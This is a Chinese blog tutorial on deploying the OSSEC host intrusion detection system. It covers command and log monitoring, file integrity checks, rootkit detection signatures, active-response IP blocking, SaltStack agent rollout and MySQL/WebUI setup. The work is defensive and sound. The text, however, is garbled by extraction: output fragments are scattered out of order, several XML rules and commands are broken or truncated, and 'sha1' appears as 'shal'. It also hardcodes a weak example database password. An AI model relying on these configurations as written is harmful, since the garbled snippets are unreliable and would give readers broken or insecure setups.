【企业安全实战】开源HIDS OSSEC部署与扩展使用

vinc / 2018-01-30 17:49:00 / 浏览数 9481 技术文章 技术文章 顶(2) 踩(0)

0x01 概述

关于HIDS,并不是一个新鲜的话题,规模较大的企业都会选择自研,而如果你刚刚接手一个公司的网络安全,人手相对不足,那么OSSEC能帮助你安全建设初期快速搭建

0x02 主要功能介绍

OSSEC的主要功能包括日志分析、文件完整性检测、Rootkit检测以及联动配置,另外你也可以将自己的其他监控项集成到OSSEC中。

1)日志监控

日志是平常安全运维中很重要的一项,OSSEC日志检测为实时检测,OSSEC的客户端本身没有解码文件和规则,所监控的日志会通过1514端口发送到服务端。

配置项可以在配置在每个agent的ossec.conf中或者在agent.conf中,需要写在<localfile>中,可配置项如下:

location

指定日志的位置,strftime格式可以用于日志文件名,例如,一个名为file.log-2018-01-22的日志文件可以写为file.log-%Y-%m-%d。通配符可以用于非windows系统。

• log_format

例如syslog、command、full_command等等

需要注意的是command和full_command不能配置在agent.conf中,需要配置在ossec.conf中

command

执行的命令。如果log_format指定的是command,那么将逐行读取。如果log_format指定的是full_command,将全部匹配。

alias

该命令的别名。这将替换日志消息中的命令。

例如配置

```
<alias>usb-check</alias>
ossec: output: 'reg QUERY HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR':
```

将被替换为

```
ossec: output: 'usb-check':
```

frequency

命令运行之间的最小时间间隔。时间间隔可能会比该值大,适用于log_format为command、full_command。

• check_diff

事件的输出将存储在一个内部数据库中。每次接收到相同的事件时,输出都会与之前的输出相比较。如果输出发生了变化,将生成一个警告。

命令监控的具体事例:

默认的ossec.conf中自带的配置检查硬盘空间:

```
<localfile>
    <log_format>command</log_format>
    <command>df -P</command>
</localfile>
```

所对应的rule在ossec_rules.xml

```
<rule id="531" level="7" ignore="7200">
```

```
<match>ossec: output: 'df -P': /dev/</match>
  <regex>100%</regex>
  <description>Partition usage reached 100% (disk space monitor).</description>
   <group>low_diskspace,
 </rule>
默认的ossec.conf中自带的配置新增端口监听:
<localfile>
  <log_format>full_command</log_format>
  <command>netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| ::1)' | sort/command>
 </localfile>
所对应的rule在ossec_rules.xml
<rule id="533" level="7">
  <if_sid>530</if_sid>
  <match>ossec: output: 'netstat -tan</match>
  <check_diff />
  <description>Listened ports status (netstat) changed (new port opened or closed).</description>
 </rule>
执行的结果保存在queue/diff/下,每次执行会进行比对
[root@localhost ossec]# cat queue/diff/192.168.192.196/533/last-entry
ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':
tcp
          0
                0 0.0.0.0:111
                                             0.0.0.0:*
                                                                        LISTEN
tcp
          0
               0 0.0.0.0:22
                                             0.0.0.0:*
                                                                        LISTEN
tcp
          0
                0 0.0.0.0:37498
                                             0.0.0.0:*
                                                                        LISTEN
tcp
         0
                0 :::111
                                             :::*
                                                                        LISTEN
          0
                0 :::22
                                                                        LISTEN
tcp
                0 :::62229
                                             :::*
                                                                        LISTEN
tcp
这里测试一下用nc监听2345端口,告警如下:
** Alert 1499397975.7591: mail - ossec,
2017 Jul 07 11:26:15 (192.168.192.196) any->netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort
Rule: 533 (level 7) -> 'Listened ports status (netstat) changed (new port opened or closed).'
ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \ | sort':
tcp
               0 0.0.0.0:111
                                            0.0.0.0:*
                                                                        LISTEN
tcp
         0
               0 0.0.0.0:22
                                            0.0.0.0:*
                                                                        LISTEN
tcp
         0 0.0.0.0:2345
                                             0.0.0.0:*
                                                                        LISTEN
```

<if sid>530</if sid>

tcp	0	0 0.0.0.0:37498	0.0.0.0:*	LISTEN
tcp	0	0 :::111	:::*	LISTEN
tcp	0	0 :::22	:::*	LISTEN
tcp	0	0 :::62229	:::*	LISTEN
Previous output:				
ossec: output: 'netstat -tan grep LISTEN egrep -v '(127.0.0.1 \\1)' sort':				
tcp	0	0 0.0.0:111	0.0.0.0:*	LISTEN
tcp	0	0 0.0.0:22	0.0.0.0:*	LISTEN
tcp	0	0 0.0.0:37498	0.0.0.0:*	LISTEN
tcp	0	0 :::111	:::*	LISTEN
tcp	0	0 :::22	:::*	LISTEN

:::*

之前在《Linux应急响应姿势浅谈》中提到的,Linux下开机启动项是应急响应中很重要的检测项,Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的 <localfile>

LISTEN

```
<le><log_format>full_command</log_format>
 <command>/bin/cat /etc/rc.local</command>
 <frequency>10</frequency>
</localfile>
```

0 :::62229

0

tcp

在Server端的/var/ossec/rules/ossec_rules.xml下新增一条规则

```
<rule id="536" level="7">
    <if_sid>530</if_sid>
    <match>ossec: output: '/bin/cat</match>
    <check_diff />
    <description>rclocal changed</description>
</rule>
```

然后重启Server和Agent

Agent执行

```
echo "echo test" >> /etc/rc.local
```

```
报警如下:
** Alert 1499399596.13605: mail - ossec,
2017 Jul 07 11:53:16 (192.168.192.196) any->/bin/cat /etc/rc.local
Rule: 536 (level 7) -> 'rclocal changed'
ossec: output: '/bin/cat /etc/rc.local':
#!/bin/sh
# This script will be executed *after* all the other init scripts.
```

```
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
echo test
Previous output:
ossec: output: '/bin/cat /etc/rc.local':
#!/bin/sh
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
2) 完整性检测
命令替换在应急响应中很常见,经常被替换掉的命令例如ps、netstat、ss、lsof等等。另外还有SSH后门。完整性检测的工作方式是Agent周期性的扫描系统文件,并将检验
数据存放到服务端的/var/ossec/queue/syscheck目录下
[root@localhost syscheck]# ll /var/ossec/queue/syscheck
total 1388
-rw-r---- 1 ossec ossec 469554 Jun 29 03:16 (192.168.192.195) 192.168.192.195->syscheck
-rw-r---- 1 ossec ossec 469554 Jun 29 03:49 (192.168.192.196) 192.168.192.196->syscheck
-rw-r---- 1 ossec ossec 470797 Jun 29 18:13 syscheck
常用的配置如下:

    directories

默认值是/etc,/usr/bin,/usr/sbin,/bin,/sbin,/boot
属性配置如下
```

realtime:实时监控

report_changes: 报告文件变化,文件类型只能是文本

checkall: check*全部为yes

check_sum: 监测MD5和SHA1 HASH的变化,相当于设置check_sha1sum="yes"和check_md5sum="yes"

check_sha1sum: 监测SHA1 HASH的变化

check_md5sum: 监测MD5 HASH的变化

check_size: 监测文件大小 check_owner: 监测属主

check_group: 监测属组

check_perm: 监测文件权限

restrict: 限制对包含该字符串的文件监测

ignore

配置忽略的文件和目录。所配置的文件和目录依然会检测,不过结果会忽略。

支持正则匹配

```
<ignore type="sregex">.log$|.tmp</ignore>
```

frequency

检测周期

• scan_time

开始扫描的时间,格式可以是21pm, 8:30, 12am

scan_day

配置一周中的哪天可以扫描,格式sunday, saturday, monday

• auto_ignore

忽略变化超过3次的文件

· alert_new_files

新文件创建时告警

scan_on_start

启动时扫描

• windows_registry

Windows注册表项监控

• registry_ignore

忽略的注册表项

prefilter_cmd

需要注意的是改配置会影响性能。

skip_nfs

跳过CIFS和NFS挂载目录

配置示例:

```
<syscheck>
```

修改告警级别,例如当/var/www/htdocs修改时,告警级别修改为12

这里有一个需要注意的地方,我一开始使用OSSEC的时候,用的默认配置,然后凌晨3点的时候收到了大量的告警,如下:

```
** Alert 1500341372.94081: mail - ossec, syscheck,
2017 Jul 18 09:29:32 localhost->syscheck
Rule: 550 (level 7) -> 'Integrity checksum changed.'
Integrity checksum changed for: '/sbin/partprobe'
Old md5sum was: 'cabd9d003c9f3b194b32eff8d27e9dfc'
New md5sum is : '34a3700736e54368e296c24acef6f5b9'
Old shalsum was: '0eb531a5bce4fdf30da3d69aed181b54b4870f0b'
New shalsum is : '19640bd6dlebc4298423498a9363dfe2074023ad'
** Alert 1500341380.94500: mail - ossec, syscheck,
2017 Jul 18 09:29:40 localhost->syscheck
Rule: 550 (level 7) -> 'Integrity checksum changed.'
Integrity checksum changed for: '/sbin/wipefs'
Old md5sum was: '61ddf66c79323caff5d8254a29b526dc'
New md5sum is : '45af33cff81598dd0a33f0439c6aa68f'
Old shalsum was: '161d409336291c8ed03a89bd8378739934dca387'
New shalsum is : 'a735876ea2090323bd766cfb6bad0f57c6a900f2'
告警显示/sbin下的执行文件MD5都修改了。其实这里是因为定时任务Prelink导致。以CentOS6.5系统为例,
[root@sec248 cron.daily]# ls
logrotate makewhatis.cron mlocate.cron prelink readahead.cron tmpwatch
cron.daily下有一个定时任务prelink,Prelink利用事先链接代替运行时链接的方法来加速共享库的加载,它不仅可以加快起动速度,还可以减少部分内存开销,
是各种Linux架构上用于减少程序加载时间、缩短系统启动时间和加快应用程序启动的很受欢迎的一个工具,解决方案是添加配置
<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>
在比对MD5或者SHA1之前,会先执行prelink -y <file>,从而避免误报。prelink -y <file>会输出prelink之前的原始文件内容。
PS:
偶尔会收到大量告警,所监控二进制文件的SHA都变成了da39a3ee5e6b4b0d3255bfef95601890afd80709,如下图所示:
登录服务器执行
prelink -y /bin/sh
at least one of file's dependencies has changed since prelinking
解决方法:/usr/sbin/prelink -av -mR
参考链接: https://stelfox.net/blog/2014/08/dependency-prelink-issues/
3) Rootkit检测
Rootkit也是平时应急响应比较头疼的, OSSEC的检测原理如下:
对比rootkit_files.txt,该文件中包含了rootkit常用的文件。就像病毒库一样。
[root@localhost shared]# egrep -v "^#" rootkit_files.txt | grep -v '^$' | head -n 3
tmp/mcliZokhb
                     ! Bash door ::/rootkits/bashdoor.php
```

dev/.shit/red.tqz ! Adore Worm ::/rootkits/adorew.php

如果是以*开头的话,会扫描整个系统。

对比rootkit_trojans.txt文件中二进制文件特征。

```
[root@localhost shared]# egrep -v "^#" rootkit_trojans.txt | grep -v '^$' | head -n 3
```

ls !bash|^/bin/sh|dev/[^clu]|\.tmp/lsfile|duarawkz|/prof|/security|file\.h!

env !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!

echo !bash|^/bin/sh|file\.h|proc\.h|/dev/[^cl]|^/bin/.*sh!

扫描整个文件系统,检测异常文件和异常的权限设置,文件属主是root,但是其他用户可写是非常危险的,rootkit将会扫描这些文件。同时还会检测具有suid权限的文件、l

另外还会检测隐藏端口、隐藏进程、/dev目录、网卡混杂模式等。

这里看一下ossec.conf中默认的rootcheck的配置

<rootcheck>

```
<rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>
<rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>
<system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_rhel_linux_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_rhel5_linux_rcl.txt</system_audit>
```

/var/ossec/etc/shared/rootkit files.txt文件中包含了rootkit常用的文件。

/var/ossec/etc/shared/rootkit_trojans.txt文件中检测一些二进制文件的特征。

后面主要是检测系统配置。

</root.check>

测试:

server: 192.168.192.193

agent: 192.168.192.196

根据上述检测原理第一条,我们在192.168.192.196下创建文件/tmp/mcliZokhb

然后在Server端执行

```
[root@localhost ossec]# ./bin/agent_control -r -u 1028
```

OSSEC HIDS agent_control: Restarting Syscheck/Rootcheck on agent: 1028

当扫描完成后,Syscheck last started和Rootcheck last started的时间会更新。

[root@localhost rootcheck]# /var/ossec/bin/agent_control -i 1028

OSSEC HIDS agent_control. Agent information:

Agent ID: 1028

Agent Name: 192.168.192.196

IP address: any/0

```
Status: Active
```

<rule id="520" level="0">

<if_sid>510</if_sid>

Linux localhost 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 Operating system: OSSEC HIDS v2.9.0 / 2d13fc898c1b864609180ad7f4512b4c Client version: Thu Jul 13 14:11:25 2017 Last keep alive: Syscheck last started at: Thu Jul 13 14:05:27 2017 Rootcheck last started at: Thu Jul 13 13:55:00 2017 来看一下/var/ossec/queue/rootcheck下的内容 [root@localhost rootcheck]# cat \(192.168.192.196\)\ any-\>rootcheck !1499925300!1499150323 Starting rootcheck scan. !1499925927!1499150951 Ending rootcheck scan. !1499925300!1499925300 Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'. 其中扫描开始时间为1499925300(2017/7/1313:55:0),扫描结束时间为1499925927(2017/7/1314:5:27) 然后在1499925300 (2017/7/13 13:55:0), 检测到了Rootkit。 然后查看ALert日志中的告警信息 [root@localhost rootcheck]# cat /var/ossec/logs/alerts/alerts.log ** Alert 1499925300.0: mail - ossec,rootcheck, 2017 Jul 13 13:55:00 (192.168.192.196) any->rootcheck Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).' Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'. PS: 1) 部署后,发现经常会收到进程隐藏的告警,经排查服务器也不存在异常。 Process '25905' hidden from /proc. Possible kernel level rootkit. 添加规则rules/ossec_rules.xml <rule id="517" level="0"> <if_sid>510</if_sid> <match>hidden from /proc</match> <description>Ignored process hidden entries.</description> <group>rootcheck,</group> </rule> 屏蔽掉该告警。 2)因为OSSEC会检测属主是Root但是Other用户有w权限的文件,有些正常业务的文件会导致误报。 添加规则rules/ossec_rules.xml

```
<match>/usr/local/fms</match>
   <description>Ignored some files which owned by root and has write permissions.</description>
   <group>rootcheck,</group>
 </rule>
屏蔽掉这些目录。
4)联动配置
主动响应分为两部分,第一步需要配置需要执行的脚本,第二步需要绑定该脚本到具体的触发规则。/var/ossec/etc/ossec.conf中相应配置如下:
<ossec_config>
  <command>
      <!--
      Command options here
   </command>
   <active-response>
      <!--
      active-response options here
  </active-response>
</ossec_config>
Command配置参数如下:

    name

对应active-response所使用的名称

    executable

/var/ossec/active-response/bin中的可执行文件,不需要写全路径。

    expect

命令执行的参数,选项可以是srcip和user(其他的名不接受).
如果expect标签内的值为空,那么传递-代替真实的值。如果一个响应脚本需要srcip,那么它必须在expect选项中。
如果不需要传递参数值,写<expect></expect>即可。

    timeout_allowed

指定该命令是否支持超时。
active-response配置参数如下:

    disabled

如果设置为yes,则禁用主动响应,默认为启用。

    command
```

需要执行的脚本的名称,对应command标签中的name。

· location

```
local: 产生该事件的agent
  server: 在server端
  defined-agent: 指定一个agent,需要配置agent id
  all: 所有agent
  agent_id
需要执行脚本的agent的ID

    level

大于等于该level的event将执行该响应
· rules_group
响应将在已定义的组中的任何事件上执行。可以用逗号分隔多个组。
• rules_id
响应将在任何带有已定义ID的事件上执行。可以用逗号分隔多个ID。
· timeout
以封禁IP为例,指定IP封禁的时间(单位为秒)。
这里我们来测试一下:
Server■192.168.192.193
Client■ID:1029■192.168.192.195
Client■ID:1028■ 192.168.192.196
首先看一下SSH登录失败的日志为:
Jul 6 15:15:57 localhost sshd[28590]: Failed password for root from 192.168.192.196 port 34108 ssh2
所对应的decode.xml中的解码规则为:
<decoder name="ssh-failed">
 <parent>sshd</parent>
 <prematch>^Failed \S+ </prematch>
 <regex offset="after_prematch">^for (\S+) from (\S+) port \d+ \w+$</regex>
 <order>user, srcip</order>
</decoder>
这里通过正则表达式获取到了user和srcip
所对应的Rule在sshd_rules.xml中,可以看到告警等级为5:
<rule id="5716" level="5">
  <if_sid>5700</if_sid>
  <match>^Failed|^error: PAM: Authentication</match>
  <description>SSHD authentication failed.</description>
  <group>authentication_failed,</group>
```

在哪里执行命令,具体参数如下:

</rule>

```
<active-response>
  <command>test</command>
  <location>local</location>
  <level>5</level>
   <timeout>60</timeout>
 </active-response>
所对应的执行脚本名称为test,脚本为本地执行,当rule级别大于等于5时触发,封禁时间为60S。
所对应的command配置为
<command>
  <name>test</name>
   <executable>test.sh</executable>
  <expect>srcip,user</expect>
  <timeout_allowed>yes</timeout_allowed>
 </command>
这里传递了两个参数srcip,user(前后顺序不影响)。所对应的是ssh-failed解码规则中取到的user和srcip。
/var/ossec/active-response/bin/test.sh文件内容为
#!/bin/sh
LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`
echo "`date` $0 $1 $2 $3 $4 $5" >> ${PWD}/../logs/active-responses.log
脚本所传递的参数如下:
$1 ■■ (delete or add)
$2 user (or - if not set)
$3 srcip (or - if not set)
$4 ■■■
$5 ■■■
修改权限和属组
[root@localhost bin]# chown root:ossec test.sh
[root@localhost bin]# chmod 550 test.sh
然后在192.168.192.196使用错误密码登录192.168.192.193, 触发规则, 查看日志
[root@localhost ossec]# tail -f logs/active-responses.log
Thu Jul 6 17:07:02 CST 2017 /var/ossec/active-response/bin/test.sh add root 192.168.192.196 1499332022.14278 5503
Thu Jul 6 17:08:32 CST 2017 /var/ossec/active-response/bin/test.sh delete root 192.168.192.196 1499332022.14278 5503
```

查看ossec.conf,这里我们添加如下:

```
<command>
```

```
<name>host-deny</name>
  <executable>host-deny.sh</executable>
  <expect>srcip</expect>
    <timeout_allowed>yes</timeout_allowed>

</command>

<active-response>
    <command>host-deny</command>
    <location>local</location>
    <level>5</level>
    <timeout>30</timeout>
</active-response>
```

这里<location>local</location>,即仅在触发该规则的Agent有效。

然后我使用另外一台机器192.168.192.120使用错误密码登录192.168.192.196

触发规则后查看hosts.deny发现已经添加了IP192.168.192.120

```
[root@localhost ossec]# cat /etc/hosts.deny | grep 120
ALL:192.168.192.120
```

0x03 SaltStack批量部署Agent

在企业内部有各种运维工具有用批量管理服务器,例如SaltStack、ansible等。这里我以SaltStack为例。批量部署这里面临两个问题:

1) install.sh安装交互问题

OSSEC安装为交互式安装,需要手工输入Server端地址,是否开启一些模块等。解决办法是配置preloaded-vars.conf

[root@localhost ossec-hids-2.9.0]# cp etc/preloaded-vars.conf.example etc/preloaded-vars.conf

修改preloaded-vars.conf中的配置即可。最终配置如下:

```
[root@test135 etc]# cat preloaded-vars.conf | grep -v "^#" | grep -v "^$"

USER_LANGUAGE="cn"  # For english

USER_NO_STOP="y"

USER_INSTALL_TYPE="agent"

USER_DIR="/var/ossec"

USER_ENABLE_ACTIVE_RESPONSE="y"

USER_ENABLE_SYSCHECK="y"

USER_ENABLE_ROOTCHECK="y"

USER_AGENT_SERVER_IP="10.111.111.111"
```

2) Key认证问题

新版本的OSSEC中ossec-authd和agent-auth提供了自动化导入Key的功能。

ossec-authd:

os-authd守护进程运行在服务端,自动分发Key和添加Agent。 默认情况下,该过程中不存在任何身份验证或授权,因此建议只在添加新代理时运行该守护进程。 ossec-authd进程需要SSL keys才行运行。 如果没有SSL Keys会提示以下错误: [root@localhost syscheck]# /var/ossec/bin/ossec-authd -p 1515 2017/07/04 14:02:26 ossec-authd: INFO: Started (pid: 12764). 2017/07/04 14:02:26 ossec-authd: ERROR: Unable to read certificate file (not found): /var/ossec/etc/sslmanager.cert 2017/07/04 14:02:26 ossec-authd: ERROR: SSL error. Exiting. 生成SSL Keys [root@localhost syscheck]# openssl genrsa -out /var/ossec/etc/sslmanager.key 2048 Generating RSA private key, 2048 bit long modulus e is 65537 (0x10001) [root@localhost syscheck]# openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. Country Name (2 letter code) [XX]: State or Province Name (full name) []: Locality Name (eg, city) [Default City]: Organization Name (eg, company) [Default Company Ltd]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) []: Email Address []:

启动ossec-authd

[root@localhost syscheck]# /var/ossec/bin/ossec-authd
2017/07/04 14:11:35 ossec-authd: INFO: Started (pid: 12788).
[root@localhost syscheck]# netstat -anlp | grep 1515

:::*

LISTEN 12788/ossec-authd

0 :::1515

```
[root@localhost src]# /var/ossec/bin/agent-auth -m 192.168.192.193 -p 1515 -A 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Started (pid: 14137).
2017/07/04 14:27:59 INFO: Connected to 192.168.192.193 at address 192.168.192.193, port 1515
INFO: Connected to 192.168.192.193:1515
INFO: Using agent name as: 192.168.192.196
INFO: Send request to manager. Waiting for reply.
INFO: Received response with agent key
INFO: Valid key created. Finished.
INFO: Connection closed.
查看服务端:
2017/07/04 14:27:59 ossec-authd: INFO: New connection from 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Received request for a new agent (192.168.192.196) from: 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Agent key generated for 192.168.192.196 (requested by 192.168.192.196)
2017/07/04 14:27:59 ossec-authd: INFO: Agent key created for 192.168.192.196 (requested by 192.168.192.196)
重启客户端服务/var/ossec/bin/ossec-control restart
查看当前连接的Agents
[root@localhost alerts]# /var/ossec/bin/agent_control -lc
OSSEC HIDS agent_control. List of available agents:
 ID: 000, Name: localhost (server), IP: 127.0.0.1, Active/Local
 ID: 1028, Name: 192.168.192.196, IP: any, Active
启动Agent时的INFO信息
2017/12/13 09:32:18 ossec-agentd: INFO: Using notify time: 600 and max time to reconnect: 1800
可以看到keepalive的时间间隔为10Min,最大重连时间为30Min。
[root@sec248 etc]# /var/ossec/bin/agent_control -i 1024 | grep keep
Last keep alive:
                  Wed Dec 13 09:34:06 2017
可以查看agent的上次keepalive时间,超过最大重连时间,会有告警。
综合上述两个问题,最终Salt部署模板如下:
include:
 - mk_Downloads
install_packages:
pkg.latest:
  - pkgs:
    - openssl-devel
     - gcc
```

```
install_ossec:
cmd.run:
  - name: tar zxf ossec.tar.gz && cd ossec && sh install.sh
  - cwd: /root/Downloads
  - unless: test -e /var/ossec/bin/ossec-control
  - require:
    - file: /root/Downloads/ossec.tar.gz
/var/ossec/etc/ossec.conf:
file.managed:
  - source: salt://ossec/conf/ossec.conf
  - user: root
  - group: root
  - mode: 644
  - template: jinja
  - require:
    - cmd: install_ossec
/var/ossec/etc/shared/agent.conf:
file.managed:
  - source: salt://ossec/conf/agent.conf
  - user: root
  - group: root
  - mode: 644
  - template: jinja
  - require:
    - cmd: install_ossec
/var/ossec/monitor.sh:
file.managed:
  - source: salt://ossec/conf/monitor.sh
  - user: root
```

```
- group: root
             - mode: 755
             - template: jinja
             - require:
                      - cmd: install_ossec
 /root/Downloads/ossec.tar.gz:
     file.managed:
             - source: salt://ossec/ossec.tar.gz
             - user: root
             - group: root
             - mode: 755
             - template: jinja
             - require:
                      - file: /root/Downloads
agentauth:
     cmd.run:
             - \text{ name: /var/ossec/bin/agent-auth -m 10.59.0.248 -p 1515 -A \$(ifconfig \mid egrep -o '10 \land .(59 \mid 211 \mid 200).[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-9] \{1,3\}.[0-
             - unless: test -s /var/ossec/etc/client.keys
             - require:
                      - cmd: install_ossec
serverstart:
     cmd.run:
             - name: /var/ossec/bin/ossec-control restart
             - onchanges:
                      - file: /var/ossec/etc/ossec.conf
             - require:
                       - cmd: install_ossec
0x04 MySQL及WebUI安装
```

Mysql安装:

在2.9之前可以使用make setdb后编译OSSEC来支持Mysql。默认的安装脚本install.sh是不支持Mysql的,所以需要在源码的src目录下执行

make TARGET=server DATABASE=mysql install

然后执行

```
创建数据库和导入表结构
```

level: 5

```
mysql> create database ossec;
Query OK, 1 row affected (0.00 sec)
mysql> grant INSERT, SELECT, UPDATE, CREATE, DELETE, EXECUTE on ossec.* to ossec@127.0.0.1;
Query OK, 0 rows affected (0.00 sec)
mysql> set password for ossec@127.0.0.1=PASSWORD('hehe123');
Query OK, 0 rows affected (0.00 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)
mysql> quit
[root@localhost ossec]# mysql -u root -phehe123 -D ossec < /tmp/ossec-hids-2.9.0/src/os_dbd/mysql.schema
在ossec.conf中添加配置
<database_output>
      <hostname>127.0.0.1
      <username>ossec</username>
      <password>hehe123</password>
      <database>ossec</database>
      <type>mysql</type>
   </database_output>
然后重启服务。
/var/ossec/bin/ossec-dbd启动成功。
[{\tt root@localhost\ logs}] \#\ {\tt ps\ axu\ }|\ {\tt grep\ dbd\ }|\ {\tt grep\ -v\ grep}
       3919 0.0 0.0 51172 2872 ? S 10:00 0:00 /var/ossec/bin/ossec-dbd
ossecm
尝试SSH登录失败,看一下入库信息。
mysql> select * from alert a join location 1 on a.location_id = 1.id where 1.id = 5\G
*********************** 1. row *****************
       id: 9
 server_id: 1
  rule_id: 5503
```

```
timestamp: 1499415795
location_id: 5
   src_ip: 192.168.192.120
  dst_ip: (null)
 src_port: 0
 dst_port: 0
  alertid: 1499415795.28052
    user: root
 full_log: Jul 7 16:23:14 localhost sshd[1589]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh r
is_hidden: 0
     tld:
      id: 5
server_id: 1
    name: (192.168.192.196) any->/var/log/secure
id: 10
server_id: 1
  rule_id: 5716
   level: 5
timestamp: 1499415800
location_id: 5
   src_ip: 192.168.192.120
   dst_ip: (null)
 src_port: 0
 dst_port: 0
  alertid: 1499415797.28415
     user: root
 full_log: Jul 7 16:23:16 localhost sshd[1589]: Failed password for root from 192.168.192.120 port 47519 ssh2
is_hidden: 0
      tld:
      id: 5
server_id: 1
     name: (192.168.192.196) any->/var/log/secure
2 rows in set (0.00 sec)
```

WebUI安装

安装步骤如下:

Setup completed successfully.

```
1)安装gcc
yum -y install gcc gcc-c++ apr-devel apr-util-devel pcre pcre-devel openssl openssl-devel
2) 安装apr (version >= 1.4+ )
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.5.2.tar.gz
